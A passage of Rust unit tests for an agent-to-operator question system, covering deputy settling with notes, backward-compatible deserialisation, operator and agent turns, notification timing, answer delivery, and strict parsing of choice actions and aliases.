3539        let mut dep = Deputy::new("brief".to_owned());
3540        dep.seat = Some(seat);
3541        q.deputy = Some(dep);
3542        q.say("setup done, and file a follow-up").unwrap();
3543        q
3544    }
3545
3546    #[test]
3547    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3548        let dir = tempfile::TempDir::new().unwrap();
3549        let store = Questions::at(dir.path().join("questions"));
3550        let mut q = settle_ready();
3551        let id = q.id.clone();
3552        store.put(&mut q).unwrap();
3553        store
3554            .update(&id, |q| {
3555                q.settle_by_deputy("deputy-x", "yes", Some("  no follow-up was queued  "))
3556            })
3557            .unwrap();
3558        let back = store.get(&id).unwrap();
3559        let turn = back.thread.last().unwrap();
3560        assert_eq!(turn.who, Who::Agent);
3561        assert!(turn.body.starts_with("Settled as `yes`"));
3562        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3563        assert_eq!(back.thread[0].note, None);
3564    }
3565
3566    #[test]
3567    fn an_empty_or_blank_settle_note_is_no_note() {
3568        for note in [None, Some(""), Some("  \n ")] {
3569            let mut q = settle_ready();
3570            q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3571            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3572            let json = serde_json::to_string(&q).unwrap();
3573            assert!(!json.contains("\"note\""), "no key when there is none");
3574        }
3575    }
3576
3577    #[test]
3578    fn a_refused_settle_leaves_no_note_behind() {
3579        let mut q = settle_ready();
3580        let before = q.thread.clone();
3581        assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3582        assert!(
3583            q.settle_by_deputy("someone-else", "yes", Some("n"))
3584                .is_err()
3585        );
3586        assert_eq!(q.thread, before);
3587        assert_eq!(q.status, QuestionStatus::Open);
3588    }
3589
3590    #[test]
3591    fn a_turn_written_before_notes_existed_still_reads() {
3592        let t: Turn =
3593            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3594                .unwrap();
3595        assert_eq!(t.note, None);
3596    }
3597
3598    #[test]
3599    fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3600        let mut q = Question::new(
3601            "task".to_owned(),
3602            "conduct".to_owned(),
3603            "conduct".to_owned(),
3604            "Done?".to_owned(),
3605            String::new(),
3606            vec!["yes".to_owned(), "no".to_owned()],
3607        );
3608        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3609        seat.turns = 1;
3610        let mut dep = Deputy::new("brief".to_owned());
3611        dep.seat = Some(seat);
3612        q.deputy = Some(dep);
3613        q.say("setup done, go ahead").unwrap();
3614
3615        assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3616        assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3617        let mut routed = q.clone();
3618        routed.routed_task = Some("task".into());
3619        assert!(
3620            routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3621            "a routed decision belongs to the task chat"
3622        );
3623        assert_eq!(q.status, QuestionStatus::Open);
3624
3625        q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3626        assert_eq!(q.status, QuestionStatus::Answered);
3627        assert_eq!(q.resolution().as_deref(), Some("yes"));
3628        let last = q.thread.last().unwrap();
3629        assert_eq!(last.who, Who::Agent);
3630        assert!(last.body.starts_with("Settled as `yes`"));
3631        let turns = q.thread.len();
3632        assert!(
3633            q.settle_by_deputy("deputy-x", "no", None).is_err(),
3634            "a settled question is not settled twice"
3635        );
3636        assert_eq!(q.thread.len(), turns);
3637    }
3638
3639    #[test]
3640    fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3641        let q = choice_question();
3642        let mut v = serde_json::to_value(&q).unwrap();
3643        v["answer_authority"] = serde_json::json!({
3644            "talk": "talk", "turn": 0, "message": 0,
3645            "instruction": "id: use my text fp\nA title",
3646            "instruction_fingerprint": "f", "recommendation_turn": null,
3647            "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3648            "question_fingerprint": "g", "recovery_interpretation": "r"
3649        });
3650        let back: Question = serde_json::from_value(v).unwrap();
3651        let legacy = back.answer_authority.as_ref().unwrap();
3652        assert_eq!(legacy.question, q.id);
3653        assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3654        // A re-save keeps what an old pending `use my text` answer needs, and
3655        // nothing else of the old evidence.
3656        let written = serde_json::to_value(&back).unwrap();
3657        assert_eq!(
3658            written["answer_authority"],
3659            serde_json::json!({
3660                "question": q.id, "choice": "SQLite",
3661                "instruction": "id: use my text fp\nA title"
3662            })
3663        );
3664        let again: Question = serde_json::from_value(written).unwrap();
3665        assert_eq!(again.answer_authority, back.answer_authority);
3666        assert!(
3667            serde_json::to_value(&q)
3668                .unwrap()
3669                .get("answer_authority")
3670                .is_none()
3671        );
3672    }
3673
3674    #[test]
3675    fn a_question_written_before_deputies_still_reads() {
3676        let mut q = Question::new(
3677            "task".to_owned(),
3678            "conduct".to_owned(),
3679            "conduct".to_owned(),
3680            "Done?".to_owned(),
3681            String::new(),
3682            Vec::new(),
3683        );
3684        q.schema = 4;
3685        let mut v = serde_json::to_value(&q).unwrap();
3686        v.as_object_mut().unwrap().remove("deputy");
3687        let back: Question = serde_json::from_value(v).unwrap();
3688        assert!(back.deputy.is_none());
3689    }
3690
3691    #[test]
3692    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3693        let mut q = choice_question();
3694        q.say("does the cache need eviction?").unwrap();
3695        assert_eq!(q.thread.len(), 1);
3696        assert_eq!(q.thread[0].who, Who::Operator);
3697        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3698        // Speaking is not deciding: the status and the answer are untouched,
3699        // which is the whole point of the round trip existing at all.
3700        assert_eq!(q.status, QuestionStatus::Open);
3701        assert!(q.answer.is_none());
3702        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3703    }
3704
3705    #[test]
3706    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3707        let mut answered = choice_question();
3708        answered
3709            .answer(Answer::Choice("SQLite".to_owned()))
3710            .unwrap();
3711        let a = answered.say("still there?").unwrap_err().to_string();
3712        assert!(a.contains("already answered"), "{a}");
3713        let b = answered
3714            .reply("still there?", vec![])
3715            .unwrap_err()
3716            .to_string();
3717        assert!(b.contains("already answered"), "{b}");
3718
3719        let mut abandoned = choice_question();
3720        abandoned.abandon("timed out");
3721        let c = abandoned.say("hello?").unwrap_err().to_string();
3722        assert!(c.contains("abandoned"), "{c}");
3723
3724        let mut open = choice_question();
3725        let d = open.say("   ").unwrap_err().to_string();
3726        assert!(d.contains("empty"), "{d}");
3727        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3728        assert!(e.contains("empty"), "{e}");
3729        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3730    }
3731
3732    #[test]
3733    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3734        let mut q = choice_question();
3735        q.say("SQLite or Redis, but what about disk space?")
3736            .unwrap();
3737        assert!(q.waiting_on_agent());
3738
3739        q.reply(
3740            "SQLite: it is one file, no server to run.",
3741            vec!["SQLite".to_owned()],
3742        )
3743        .unwrap();
3744
3745        assert_eq!(q.choices, ["SQLite"]);
3746        assert!(
3747            !q.waiting_on_agent(),
3748            "the agent spoke, so the owner is the one being waited on now"
3749        );
3750        assert_eq!(q.thread.len(), 2);
3751        assert_eq!(q.thread[1].who, Who::Agent);
3752
3753        // The new choice set is what a subsequent answer is checked against.
3754        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3755        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3756        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3757    }
3758
3759    #[test]
3760    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3761        let mut fresh = choice_question();
3762        assert!(
3763            fresh.should_notify(Timestamp::now()),
3764            "nobody has been notified yet, so the first ask always pages"
3765        );
3766
3767        fresh.say("why not Postgres?").unwrap();
3768        let just_said = fresh.thread[0].at;
3769        assert!(
3770            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3771            "still on the screen a minute later; no need to page again"
3772        );
3773        assert!(
3774            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3775            "exactly the window: `>` means this side stays quiet"
3776        );
3777        assert!(
3778            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3779            "past the window: they may have walked away"
3780        );
3781    }
3782
3783    #[test]
3784    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3785        let (_dir, s) = store();
3786        let mut q = choice_question();
3787        s.put(&mut q).unwrap();
3788        q.say("why not Postgres?").unwrap();
3789        s.put(&mut q).unwrap();
3790        q.reply("no server to run", vec!["SQLite".to_owned()])
3791            .unwrap();
3792        s.put(&mut q).unwrap();
3793
3794        assert_eq!(
3795            s.count_open(),
3796            1,
3797            "one question that talked twice is still one open question"
3798        );
3799        assert_eq!(s.open_for(&q.run).len(), 1);
3800    }
3801
3802    #[tokio::test]
3803    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3804        let (dir, s) = store();
3805        let mut q = choice_question();
3806        let id = q.id.clone();
3807        let writer = Questions::at(dir.path().join("questions"));
3808        let handle = tokio::spawn(async move {
3809            tokio::time::sleep(Duration::from_millis(30)).await;
3810            let mut fresh = writer.get(&id).expect("the question was filed first");
3811            fresh.say("why not Postgres?").unwrap();
3812            writer.put(&mut fresh).unwrap();
3813        });
3814
3815        let got = wait_for_owner(
3816            &mut q,
3817            &s,
3818            &quiet(),
3819            Duration::from_secs(5),
3820            Duration::from_millis(10),
3821        )
3822        .await
3823        .unwrap();
3824
3825        handle.await.unwrap();
3826        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3827        assert_eq!(
3828            q.status,
3829            QuestionStatus::Open,
3830            "talking back is not a decision; the question stays open"
3831        );
3832        assert!(q.answer.is_none());
3833    }
3834
3835    #[test]
3836    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3837        let mut q = choice_question();
3838        q.say("A").unwrap();
3839        q.delivered_turns = q.thread.len();
3840        q.say("B").unwrap();
3841        q.reply("about A", vec![]).unwrap();
3842        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3843        q.delivered_turns = q.thread.len();
3844        assert_eq!(q.unread_from_owner(), None);
3845    }
3846
3847    #[test]
3848    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3849        let (_d, s) = store();
3850        let mut q = choice_question();
3851        s.put(&mut q).unwrap();
3852        q.say("first").unwrap();
3853        q.say("second").unwrap();
3854        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3855        s.put(&mut q).unwrap();
3856        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3857        let mut out = Vec::new();
3858        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3859        let shown = String::from_utf8(out).unwrap();
3860        let (a, b, c) = (
3861            shown.find("first").unwrap(),
3862            shown.find("second").unwrap(),
3863            shown.find("SQLite").unwrap(),
3864        );
3865        assert!(a < b && b < c, "{shown}");
3866        assert_eq!(q.delivered_turns, q.thread.len());
3867        assert!(q.answer_delivered);
3868    }
3869
3870    #[test]
3871    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3872        let mut q = choice_question();
3873        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3874        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3875        let mut q = choice_question();
3876        q.say("old").unwrap();
3877        q.delivered_turns = q.thread.len();
3878        q.say("new").unwrap();
3879        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3880        let shown = answer_for_agent(&q, "SQLite");
3881        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3882    }
3883
3884    #[test]
3885    fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
3886        let mut q = choice_question();
3887        q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
3888        q.actions.insert(
3889            q.choices[0].clone(),
3890            ChoiceAction::ResumeRun {
3891                run: "run-a".into(),
3892            },
3893        );
3894        q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
3895        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3896        assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
3897        assert!(
3898            q.resolve_reply("resume-run")
3899                .unwrap_err()
3900                .to_string()
3901                .contains("with offered choices")
3902        );
3903        assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
3904        assert!(
3905            q.resolve_reply("daemon: resume [resume run run-a]")
3906                .is_err()
3907        );
3908        q.actions.insert(
3909            q.choices[0].clone(),
3910            ChoiceAction::Resume {
3911                run: "run-a".into(),
3912            },
3913        );
3914        assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
3915        q.choices.push("another resume".into());
3916        q.actions.insert(
3917            "another resume".into(),
3918            ChoiceAction::Resume {
3919                run: "run-b".into(),
3920            },
3921        );
3922        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
3923    }
3924
3925    #[test]
3926    fn recovery_aliases_require_a_unique_offered_structured_effect() {
3927        let mut q = choice_question();
3928        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3929        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3930            q.actions
3931                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3932        }
3933        assert!(
3934            q.resolve_reply("再開")
3935                .unwrap_err()
3936                .to_string()
3937                .contains("ambiguous")
3938        );
3939        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3940        q.choices.remove(1);
3941        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3942        assert!(q.resolve_reply("resume run-b").is_err());
3943        assert!(q.resolve_reply("保留").is_err());
3944        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3945        assert!(!ChoiceAction::Done.matches_alias("完了"));
3946    }
3947
3948    #[test]
3949    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3950        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3951        let ok = parse_actions(
3952            &[
3953                "resume で続行する=resume".to_owned(),
3954                "wait=done".to_owned(),
3955            ],
3956            &choices,
3957            "run-1",
3958        )
3959        .unwrap();
3960        assert_eq!(
3961            ok["resume で続行する"],
3962            ChoiceAction::Resume {
3963                run: "run-1".into()
3964            }
3965        );
3966        assert_eq!(ok["wait"], ChoiceAction::Done);
3967
3968        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3969        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3970        assert_eq!(
3971            ChoiceAction::parse("x=requeue", "").unwrap().1,
3972            ChoiceAction::Requeue
3973        );
3974
3975        assert_eq!(
3976            ChoiceAction::parse("x=hold", "").unwrap().1,
3977            ChoiceAction::Hold
3978        );
3979
3980        for bad in [
3981            "no-equals",
3982            "=done",
3983            "x=resume",
3984            "x=resume:",
3985            "x=explode",
3986            "x=done:1",
3987        ] {
3988            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3989        }
3990        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3991        assert!(
3992            parse_actions(
3993                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3994                &choices,
3995                ""
3996            )
3997            .is_err()
3998        );
3999    }
4000
4001    #[test]
4002    fn only_a_chosen_label_with_an_action_is_actionable() {
4003        let mut q = choice_question();
4004        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4005        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4006        assert!(q.chosen_action().is_none(), "unanswered");
4007        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4008        assert!(
4009            q.chosen_action().is_none(),
4010            "a label that merely reads like an action does nothing"
4011        );
4012
4013        let mut q2 = choice_question();
4014        q2.choices = vec!["SQLite".to_owned()];
4015        q2.actions
4016            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4017        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4018        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4019    }
4020
4021    #[test]
4022    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4023        let mut q = choice_question();
4024        q.choices = vec!["A".to_owned(), "B".to_owned()];
4025        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4026        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4027        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4028        assert_eq!(q.actions.len(), 1);
4029        assert!(q.actions.contains_key("B"));
4030
4031        let mut v = serde_json::to_value(&q).unwrap();
4032        v.as_object_mut().unwrap().remove("actions");
4033        let old: Question = serde_json::from_value(v).unwrap();
4034        assert!(old.actions.is_empty());
4035    }
4036}